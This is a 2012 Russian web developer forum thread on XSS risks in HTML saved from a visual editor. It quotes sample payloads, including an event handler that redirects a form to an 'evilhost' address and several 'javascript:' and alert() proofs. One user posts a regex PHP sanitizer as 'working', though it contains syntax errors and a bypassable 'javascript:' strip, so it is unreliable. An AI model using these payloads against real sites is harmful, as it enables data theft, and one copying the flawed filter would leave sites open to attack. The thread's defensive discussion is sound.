Я ради эксперемента, прикрутил один готовый визуальный редактор в форме. Естественно в базе, содержимое поля хранится вместе с html разметкой (Прошу не пинать за это- все-таки эксперемент)))
Собственно возникли вопросы по безопасности.
Вопрос, в базу прогоняю через mysql_real_escape_string. Плюс редактор всякие script обезвреживает. Но в режиме html, он уже не обезвреживает (косяк разработчиков)
Через htmlspecialchars низзя, не вводе не на выводе.
А если через регулярку прогонять текст, например вырезая или искажая script
просто любопытно, а в чем еще может быть опасность?
Спустя 32 минуты (17.06.2012 - 14:06) DySprozin написал(а):
Sergen
как минимум, еще в событиях (; хотя бы так:
<anytag onmouseover='hackscript();'>
как минимум, еще в событиях (; хотя бы так:
<anytag onmouseover='hackscript();'>
Спустя 9 минут, 5 секунд (17.06.2012 - 14:16) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 11:06) |
Sergen как минимум, еще в событиях (; хотя бы так: <anytag onmouseover='hackscript();'> |
Ну тогда наверное еще src Откуда-то подключаться скрипт же должен?
Спустя 7 минут, 9 секунд (17.06.2012 - 14:23) DySprozin написал(а):
Sergen
hackscript() я тут условно привел (;
в реальности, конечно, будет, например, так:
или что-то для кражи куков... в общем, полное раздолье (;
hackscript() я тут условно привел (;
в реальности, конечно, будет, например, так:
<anytag onCобытие='document.forms[0].action="http://evilhost/form.php";'>
или что-то для кражи куков... в общем, полное раздолье (;
Спустя 4 минуты, 18 секунд (17.06.2012 - 14:27) DySprozin написал(а):
лучше, другой скрипт возьми - их в сети полно, можт тут кто-то посоветует. Потому что дырки латать ты замучаешься. Скажем, iframe у тебя фильтруется? Нет? Вот уже можешь ждать дяденек в фуражках, когда окажется, что твой сайт - рассадник вирусов. У тебя <object> фильтруется? Нет? Можешь смело писать на своем сайте: "добро пожаловать, хакеры, чувствуйте себя, как дома". У тебя style фильтруется? Нет? Можешь смело писать "пропиарю любой сайт бесплатно", потому что будет полно скрытых ссылок... И так далее (;
Спустя 49 минут, 59 секунд (17.06.2012 - 15:17) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 11:27) |
лучше, другой скрипт возьми - их в сети полно, можт тут кто-то посоветует. Потому что дырки латать ты замучаешься. Скажем, iframe у тебя фильтруется? Нет? Вот уже можешь ждать дяденек в фуражках, когда окажется, что твой сайт - рассадник вирусов. У тебя <object> фильтруется? Нет? Можешь смело писать на своем сайте: "добро пожаловать, хакеры, чувствуйте себя, как дома". У тебя style фильтруется? Нет? Можешь смело писать "пропиарю любой сайт бесплатно", потому что будет полно скрытых ссылок... И так далее (; |
Е-мое
Спасибо...Познал кое чего интересного))) Лучше без тэгов и через htmlspecialchars)))
Я вот о чем подумал. Эти фильтры в визуальных редакторах на js наверное.
Спустя 2 минуты, 42 секунды (17.06.2012 - 15:20) DySprozin написал(а):
Sergen
ну _обычно_, они клиентские, так что логично (;
ну _обычно_, они клиентские, так что логично (;
Спустя 15 минут, 25 секунд (17.06.2012 - 15:35) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 12:20) |
Sergen ну _обычно_, они клиентские, так что логично (; |
Просто раньше делал сайты на джумле, а там некоторые компоненты предлагают редактор для пользователей. А в базе как раз хранится там в html разметке. Я всегда конечно отключал эти редакторы для пользователей.
Т.е. отключил js и пихай все что хочется? Е-мое....
Спустя 4 минуты, 59 секунд (17.06.2012 - 15:40) DySprozin написал(а):
ну, я думаю не все так грустно (; вряд ли на джумле не предусмотрено фильтров — иначе бы уже давно куча сайтов была бы поломана... Неофициальные компоненты — да, могут содержать корявости, как в твоем случае. Хотя и в той же джумле от ошибок ничто не застраховано. По крайней мере на 100% (;
Спустя 6 минут, 29 секунд (17.06.2012 - 15:47) DySprozin написал(а):
Цитата |
ну _обычно_, они клиентские, так что логично (; |
мну имел ввиду полностью клиентские, как например TinyMCE (; а в джумле оно наверняка с серверной частью.
Спустя 55 минут, 8 секунд (17.06.2012 - 16:42) vital написал(а):
Да лаадно.
просто делается список разрешенных тегов - <a><b><font> и еще парочку, остальные фильтруются. Делов-то =\
просто делается список разрешенных тегов - <a><b><font> и еще парочку, остальные фильтруются. Делов-то =\
Спустя 9 минут, 12 секунд (17.06.2012 - 16:51) DySprozin написал(а):
vital
делов :) попробуй на досуге этот код у себя:
делов :) попробуй на досуге этот код у себя:
<a onmouseover='alert("Привет, дружище!");' href="http://yandex.ru">Поисковая система</a>
Спустя 2 часа, 47 минут, 7 секунд (17.06.2012 - 19:38) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 12:47) | ||
мну имел ввиду полностью клиентские, как например TinyMCE (; а в джумле оно наверняка с серверной частью. |
TinyMCE я рассматривал в качестве редактора. Там query и все. Не помню, в джумле есть ли к нему плагины?
А как это с серверной частью?
Я кстати, сегодня попробовал в админской части. После отключения js скрипт вставляется в текст, без всяких изменений. Другое дело, что отправка перестает работать.
Спустя 3 минуты, 26 секунд (17.06.2012 - 19:41) DySprozin написал(а):
>А как это с серверной частью?
ну с php-скриптом, который фильтрует всякие пакости (;
>Другое дело, что отправка перестает работать.
ну это для любого взломщика не помеха — отправить можно и другими способами, не обязательно непосредственно с сайта (; так что без обработки с серверной стороны — никуда (;
ну с php-скриптом, который фильтрует всякие пакости (;
>Другое дело, что отправка перестает работать.
ну это для любого взломщика не помеха — отправить можно и другими способами, не обязательно непосредственно с сайта (; так что без обработки с серверной стороны — никуда (;
Спустя 55 минут, 2 секунды (17.06.2012 - 20:36) vital написал(а):
Цитата (DySprozin @ 17.06.2012 - 15:51) |
vital делов :) попробуй на досуге этот код у себя: <a onmouseover='alert("Привет, дружище!");' href="http://yandex.ru">Поисковая система</a> |
Да лаадно, удивил =\ Атрибуты я тоже отфильтрую все кроме href.
Спустя 2 минуты, 45 секунд (17.06.2012 - 20:39) vital написал(а):
$allowed_tags = array(
array('b', true),
array('i', true),
array('u', true),
array('s', true),
array('strong', true),
array('em', true),
array('strike', true),
array('big', true),
array('small', true),
array('h1', true),
array('h2', true),
array('h3', true),
array('h4', true),
array('h5', true),
array('h6', true),
array('abbr', true, array(array('title', true))),
array('acronym', true),
array('blockquote', true),
array('br', false),
array('p', true),
array('sub', true),
array('sup', true),
array('ul', true),
array('ol', true),
array('li', true),
array('a', true, array(array('href', true, '[\/:a-z0-9-.?=&]+?'), array('title', false))),
array('img', false, array(array('src', true, '[\/:a-z0-9-.?=&]+?'), array('alt', false)))
);
function tagsParser($str)
{
if (!is_string($str))
return false;
foreach (allowed_tags as $value) {
$regexp_attributes = '';
$pattern_attributes = '';
$i = 1;
if (isset($value[2]) && is_array($value[2])) {
foreach ($value[2] as $attr) {
if (isset($attr[2]))
$val = '('.$attr[2].')';
else
$val = '(.*?)';
if ($attr[1]) {
$regexp_attributes .= ' '.$attr[0].'="'.$val.'"';
$pattern_attributes .= ' '.$attr[0].'="$'.$i.'"';
$i++;
} else {
$regexp_attributes .= '( '.$attr[0].'=")?'.$val.'(")?';
$i++;
$pattern_attributes .= ' '.$attr[0].'="$'.$i.'"';
$i+=2;
}
}
}
if ($value[1]) {
$regexp = '/<'.$value[0].$regexp_attributes.'>(.*?)<\/'.$value[0].'>/is';
$pattern = '<'.$value[0].$pattern_attributes.'>$'.$i.'</'.$value[0].'>';
} else {
$regexp = '/<'.$value[0].$regexp_attributes.'(\s?)(\/?)>/is';
$pattern = '<'.$value[0].$pattern_attributes.' />';
}
$str = preg_replace($regexp, $pattern, $str);
}
$str = str_ireplace('javascript:', '', $str);
return $str;
}
}
Выдрано чуть из контекста, но суть ясна.
нате вам. Закрывайте тред.
Спустя 11 минут, 11 секунд (17.06.2012 - 20:50) DySprozin написал(а):
vital
да лааадно?
да лааадно?
<a href='javascript:alert("Привет, дружище!");'>Супер-ссылка!</a>
Спустя 2 минуты, 29 секунд (17.06.2012 - 20:53) DySprozin написал(а):
vital
сейчас ты мне укажешь на строчку
ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт.
сейчас ты мне укажешь на строчку
$str = str_ireplace('javascript:', '', $str);
ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт.
Спустя 5 минут, 28 секунд (17.06.2012 - 20:58) vital написал(а):
Цитата (DySprozin @ 17.06.2012 - 19:53) |
vital сейчас ты мне укажешь на строчку $str = str_ireplace('javascript:', '', $str); ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт. |
код выше - рабочий.
Я не знаю чего-то что он не отфильтрует именно в теге.
Бери впиливай в себе в прилагу. В чем проблема?
Спустя 1 минута, 10 секунд (17.06.2012 - 21:00) vital написал(а):
Цитата (DySprozin @ 17.06.2012 - 19:53) |
vital сейчас ты мне укажешь на строчку $str = str_ireplace('javascript:', '', $str); ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт. |
и вообще.. и чо?
Программистам и платят за написание кода, не?
Спустя 1 час, 5 минут, 42 секунды (17.06.2012 - 22:05) Sergen написал(а):
Цитата |
и вообще.. и чо? Программистам и платят за написание кода, не? |
VITAL спасибо. Себе отложу, вдруг пригодится